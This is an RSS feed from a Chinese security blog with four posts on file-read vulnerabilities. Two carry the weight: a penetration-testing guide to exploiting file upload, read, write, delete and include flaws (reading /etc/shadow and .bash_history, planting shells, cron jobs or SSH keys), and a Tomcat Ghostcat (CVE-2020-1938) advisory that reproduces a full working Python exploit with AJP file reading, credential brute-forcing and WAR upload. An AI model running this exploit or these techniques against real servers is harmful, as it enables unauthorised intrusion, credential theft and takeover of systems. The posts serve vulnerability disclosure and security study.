<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>文件读取 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 14 Oct 2020 01:09:08 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>VMware vCenter未授权任意文件读取</title>
		<link>/web/1999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 14 Oct 2020 01:09:08 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1999</guid>

					<description><![CDATA[我们在VMware vCenter中发现了一个未经身份验证的任意文件读取漏洞。 VMware透露此漏洞已在6.5u1中修复，但未分配CVE。 We found an Unauthe...]]></description>
										<content:encoded><![CDATA[<p>我们在<span class="wpcom_tag_link"><a href="/tags/vmware" title="VMware" target="_blank">VMware</a></span> vCenter中发现了一个未经身份验证的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span>漏洞。 VMware透露此漏洞已在6.5u1中修复，但未分配CVE。<br />
<a class="wp-editor-md-post-content-link" href="https://i.loli.net/2020/10/14/YNdJ5ZegzbRrWoh.jpg"><img src="https://i.loli.net/2020/10/14/YNdJ5ZegzbRrWoh.jpg" alt="" /></a></p>
<blockquote class="twitter-tweet" data-width="500" data-dnt="true">
<p lang="en" dir="ltr">We found an Unauthenticated Arbitrary File Read vulnerability in VMware vCenter. VMware revealed that this vulnerability was patched in 6.5u1, but no CVE was assigned.</p>
<p>The PoC ⬇️ <a href="https://t.co/LfvbyBUhF5">pic.twitter.com/LfvbyBUhF5</a></p>
<p>&mdash; PT SWARM (@ptswarm) <a href="https://twitter.com/ptswarm/status/1316016337550938122?ref_src=twsrc%5Etfw">October 13, 2020</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>渗透经验分享之文件操作漏洞拓展</title>
		<link>/web/1811.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 27 Jun 2020 07:04:49 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[文件上传]]></category>
		<category><![CDATA[文件删除]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=1811</guid>

					<description><![CDATA[上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作漏洞的拓展。 文件操作漏洞 文件上传 文件读取 文件写入 文件删除 文件包含 一般java的站点存在文件系列的洞...]]></description>
										<content:encoded><![CDATA[<p>上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>的拓展。</p>
<h1>文件操作漏洞</h1>
<ol>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0" title="文件上传" target="_blank">文件上传</a></span></li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span></li>
<li>文件写入</li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%88%a0%e9%99%a4" title="文件删除" target="_blank">文件删除</a></span></li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span></li>
</ol>
<p>一般java的站点存在文件系列的洞比较多(除了文件包含)。</p>
<h1>文件上传</h1>
<p>在哪最容易发现上传点？注册登陆用户头像、发布文章发布产品、js中的文件上传接口、一些编辑器，甚至还有扫目录扫出来的<code>/uploader</code>路径，访问出现这种405的uploader一般就是上传。比如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/84b74880-49ec-26bf-2eaf-e5b565db1e4f.png" alt="image.png" /></p>
<p>这个时候本地构造POST表单就行了，file参数靠猜，有的时候任意参数就行，有的时候post提交过去会报错缺失什么参数，随机应变。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/cef3ccd8-caca-871a-80d8-8e3b54ba9cb0.png" alt="image.png" /></p>
<p>一般上java的站点扫出来这种uploader比较多，都是上传写的servlet接口。</p>
<p>上传其实upload-labs里的绕过姿势已经非常全面了。拿到一个上传点，首先应该判断能不能正常上传、白名单还是黑名单、怎么校验的在哪校验的，这些没什么好讲的。聊一些比较恶心的文件上传。</p>
<ol>
<li>上传不返回路径</li>
<li>上传不在web目录</li>
</ol>
<p>上传不返回路径多出现在<code>市长邮箱</code>、<code>投诉举报</code>这类功能中，其实这种功能本来就没打算给你返回路径。我的思路一般是找注入点，只要没返回路径的文件上传并且返回给你一个ID给你当作凭据的(此处只是举例，类推)，肯定保存路径在数据库中。找到注入就等于找到了文件路径。</p>
<p>如果没有注入呢？找找日志。比如tp的日志是有规律的，你可以传一个非法文件名<code>1.;</code>，在tp的日志中报错，说不定就有路径。这个我自己是真实碰到的，一个laravel的框架，在laravel.log中报错返回了错误文件名的文件路径，猜出来了shell的路径。</p>
<p>如果没有日志呢？猜。形如<code>/Files/</code>、<code>/uploads/</code>目录，猜要有根据的猜，观察网站的图片和文件地址，以此拼接你的shell文件名，多数以时间戳命名，bp爆破下就行了。</p>
<p>再来说不在web目录的，上传的时候关注下请求包的几个参数，有没有<code>path</code>、<code>filepath</code>、<code>filename</code>、<code>file_prefix</code>，甚至测一下<code>../../1.jpg</code>文件名。如果上传不能跨目录其实你就应该转移关注点了。找文件包含、文件读取。</p>
<p>上传不在web目录的站，有这种功能的很多都有文件读取的洞，因为传上去的文件总归是要下回来的，找找形如<code>download?path=1.jpg</code>这种。拓展思路，举一反三。</p>
<p>另外就是文件包含了，没啥可说的。</p>
<h1>文件读取</h1>
<p>限制条件有两个</p>
<ol>
<li>限制前缀</li>
<li>限制后缀</li>
</ol>
<p>不限制前缀的时候可以通过<code>file</code>协议读文件，php可以通过伪协议读文件，当限制前缀的时候Linux其实还好，可以通过<code>../</code>跳目录，但是windows没办法通过<code>../</code>跳盘符。</p>
<p>限制后缀就比较恶心了，php好像可以用<code>#</code>、<code>?</code>符号去绕过。具体看 <a class="wp-editor-md-post-content-link" href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80">chybeta师傅的文章</a> 吧。</p>
<p>确定是文件读取之后，如何进一步拿权限？个人习惯先读<code>/etc/passwd</code>，权限够大直接读<code>/etc/shadow</code>，然后根据<code>/etc/passwd</code>读每个用户的<code>.bash_history</code>，读中间件的配置文件，以此判断web的绝对路径。然后逐个读源码，java的话可以读一下war包，搞到代码之后就变得<code>so easy</code>了。</p>
<p>举个例子：文件读取读到了旁站的war包，旁站是一个监控，就一个登陆框，而war包中配置文件里写死了密码，刚好登陆进去直接可以执行命令rce。</p>
<p>weblogic的话可以直接读console账号密码，登陆console部署war包getshell。</p>
<p>反正就是文件读取=60%中间件特性+10%猜+30%运气。</p>
<h1>文件写入</h1>
<p>文件写入拿shell很简单，直接指定web目录和内容就行了。但是这个一般上会有限制，比如内容检测(不能写php标签之类)，文件名检测(不能写<code>.php</code>)。</p>
<ol>
<li>写计划任务<strong>或许</strong>为一个好的选择</li>
<li>覆盖原有配置文件(比如覆盖安装锁)</li>
<li>写ssh</li>
</ol>
<p>文件写入好像没什么好说的，先就这样，想到什么补充什么。</p>
<h1>文件删除</h1>
<p>实战没怎么遇到过这个洞</p>
<ol>
<li>删除配置文件</li>
<li>删除安装锁(造成重装)</li>
<li>删除waf文件<code>include waf.php</code></li>
</ol>
<h1>文件包含</h1>
<p>文件包含多为php站点，所以伪协议读文件这些都是基本操作。不过有一说一，除了ctf中碰到过文件包含，实战中没遇到过。</p>
<p>具体看 <a class="wp-editor-md-post-content-link" href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/">chybeta师傅的文章-php文件包含漏洞</a></p>
<p>需要提一嘴的是phar可以伪装为图片，你可以传一个1.jpg，绕过内容检测，然后用<code>phar://</code>协议包含。还有就是smb包含，php缓存文件包含。</p>
<hr />
<p>或许渗透变化万千的思路才是我真正喜欢他的原因。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CNVD-2020-10487 CVE-2020-1938 Apache Tomcat 任意文件读取+文件包含</title>
		<link>/web/1253.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Feb 2020 13:23:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1253</guid>

					<description><![CDATA[2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat...]]></description>
										<content:encoded><![CDATA[<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span>漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<h2>一、漏洞概述</h2>
<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<p>Tomcat是Apache软件基金会中的一个重要项目，性能稳定且免费，是目前较为流行的Web应用服务器。由于Tomcat应用范围较广，因此本次通告的漏洞影响范围较大，请相关用户及时采取防护措施修复此漏洞。</p>
<p>参考链接：https://www.cnvd.org.cn/webinfo/show/5415</p>
<h2>二、影响范围</h2>
<p>受影响版本</p>
<ol>
<li>Apache Tomcat 6</li>
<li>Apache Tomcat 7 &lt; 7.0.100</li>
<li>Apache Tomcat 8 &lt; 8.5.51</li>
<li>Apache Tomcat 9 &lt; 9.0.31</li>
</ol>
<p>不受影响版本<br />
1. Apache Tomcat = 7.0.100<br />
2. Apache Tomcat = 8.5.51<br />
3. Apache Tomcat = 9.0.31</p>
<h2>三、POC</h2>
<p><span class="wpcom_tag_link"><a href="/tags/poc" title="poc" target="_blank">poc</a></span>1来源自GitHub https://raw.githubusercontent.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/master/poc.py</p>
<pre><code class="language-python ">#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote


def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )

    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger


logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) &gt; 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)

        data_len = os.path.getsize("/tmp/request")

        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) &gt; 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P&lt;cookie&gt;JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None

    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&amp;]*)&amp;', d.data)
            for app in im:
                found.append(unquote(app))
        return found

    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&amp;%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'&lt;small&gt;&lt;strong&gt;Message:&lt;\/strong&gt;&lt;\/small&gt; &lt;\/td&gt;\s*&lt;td class="row-left"&gt;&lt;pre&gt;(OK - .*' + path + ')\s*&lt;\/pre&gt;&lt;\/td&gt;'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) &gt; 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":


    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
    print("".join([d.data for d in data_res]))
</code></pre>
<p>目前跨不出webapps</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Windows Read Any File</title>
		<link>/web/629.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 22 Dec 2018 07:27:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=629</guid>

					<description><![CDATA[近日，国外安全研究员 SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC。这是2018年8月开始该研究员公布的第三个windows 0d...]]></description>
										<content:encoded><![CDATA[<p>近日，国外安全研究员 SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC。这是2018年8月开始该研究员公布的第三个<span class="wpcom_tag_link"><a href="/tags/windows" title="windows" target="_blank">windows</a></span> 0day漏洞。此次披露的漏洞可造成任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span>。该漏洞可允许低权限用户或恶意程序读取目标Windows主机上任意文件的内容，但不可对文件进行写入操作。在微软官方补丁发布之前，所有windows用户都将受此漏洞影响。</p>
<h2 id="漏洞信息">漏洞信息</h2>
<ul>
<li>预警编号 <strong>NS-2018-0041</strong></li>
<li>发布日期 <strong>2018-12-21</strong></li>
<li>危害等级 <strong>高,此漏洞可导致攻击者读取任意系统文件，PoC已公开。</strong></li>
</ul>
<h2 id="poc演示">Poc演示</h2>
<div>
<iframe frameborder="0" src="https://v.qq.com/txp/iframe/player.html?vid=l1355lq4hp7" allowfullscreen="allowfullscreen"></iframe></div>
<h2 id="参考链接">参考链接</h2>
<p><a href="https://thehackernews.com/2018/12/windows-zero-day-exploit.html">https://thehackernews.com/2018/12/windows-zero-day-exploit.html</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
